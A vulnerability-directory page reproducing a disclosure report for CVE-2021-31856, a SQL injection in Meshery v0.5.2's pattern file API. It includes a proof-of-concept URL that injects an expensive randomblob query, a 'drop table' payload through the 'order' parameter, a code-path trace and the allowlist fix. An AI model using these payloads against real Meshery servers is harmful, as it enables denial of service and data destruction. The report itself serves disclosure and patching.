Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-31856 — Detailed CVE-2021-31856 report with PoC and code analysis for a SQL injection vulnerability in Meshery's pattern file API, enabling unauthenticated data extraction. | Kitploit
Tools/GitHubGitHub/ssst0n3/cve-2021-31856
Vulnerability AnalysisCode AnalysisWeb Application ExploitationPenetration TestingDatabase Security
GitHubssst0n3/cve-2021-31856

CVE-2021-31856

Detailed CVE-2021-31856 report with PoC and code analysis for a SQL injection vulnerability in Meshery's pattern file API, enabling unauthenticated data extraction.

View Repository
35 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

[Vulnerability Report] CVE-2021-31856: a sql injection in Meshery

itemdetailsnote
projecthttps://github.com/layer5io/meshery
date announced2021-04-28
CVE-IDCVE-2021-31856https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31856
EDB-ID\
Vulnerable Versionv0.5.2\
Patched Versionv0.5.3https://github.com/layer5io/meshery/pull/2745
CVSS7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Authorhttps://github.com/ssst0n3

1. Description

GetMesheryPatterns() function in meshery/models/meshery_pattern_persister.go has SQL Injection vulnerability via the /api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0 order parameter.

2. PoC

root@kitploit:~
http://<IP>:9081/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0

watch the video

Your browser doesn't support HTML5 video. Here is a link to the video instead.

3. Code Analysis

The parameter order in function GetMesheryPatterns is a instance of string. It will be appended to query statement directly when using gorm, and the sql query statement is executed by Find().

https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35

root@kitploit:~
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
	if order == "" {
		order = "updated_at desc"
	}
        ...
	query := mpp.DB.Order(order)
        ...
	Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
        ...
}

If the parameter order comes from the user's input without any filtering, there is a sql injection vulnerability.

Tracing the call process, we can find that the parameter "order" comes directly from the query.

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L140

root@kitploit:~
func (h *Handler) GetMesheryPatternsHandler(
	rw http.ResponseWriter,
	r *http.Request,
	prefObj *models.Preference,
	user *models.User,
	provider models.Provider,
) {
	q := r.URL.Query()

	resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
	if err != nil {
		http.Error(rw, fmt.Sprintf("failed to fetch the patterns: %s", err), http.StatusInternalServerError)
		return
	}

	rw.Header().Set("Content-Type", "application/json")
	fmt.Fprint(rw, string(resp))
}

If we debug, we can find that the query statement is:

root@kitploit:~
SELECT * FROM `meshery_patterns` ORDER BY <ORDER>

if we let order=id;drop table meshery_patterns, the statement will become

root@kitploit:~
SELECT * FROM `meshery_patterns` ORDER BY id;drop table meshery_patterns

and the table will be deleted.


The full call chain is:

https://github.com/layer5io/meshery/blob/v0.5.2/router/server.go#L127

root@kitploit:~
	gMux.Handle("/api/experimental/patternfile", h.ProviderMiddleware(h.AuthMiddleware(h.SessionInjectorMiddleware(h.PatternFileRequestHandler)))).
		Methods("POST", "GET")

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L93

root@kitploit:~
func (h *Handler) PatternFileRequestHandler(
...
		h.GetMesheryPatternsHandler(rw, r, prefObj, user, provider)
}

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L149

root@kitploit:~
func (h *Handler) GetMesheryPatternsHandler(
...
	resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
..

https://github.com/layer5io/meshery/blob/v0.5.2/models/default_local_provider.go#L439

root@kitploit:~
func (l *DefaultLocalProvider) GetMesheryPatterns(req *http.Request, page, pageSize, search, order string) ([]byte, error) {
...
	return l.MesheryPatternPersister.GetMesheryPatterns(search, order, pg, pgs)
}

https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35-L44

root@kitploit:~
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
	if order == "" {
		order = "updated_at desc"
	}
        ...
	query := mpp.DB.Order(order)
        ...
	Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
        ...
}

4. Fix

Set an allowlist for the parameter order instead of using parameters from user input without any filtering.

https://github.com/layer5io/meshery/pull/2745

You can get some references from gorm's document: https://gorm.io/docs/security.html

Download Tool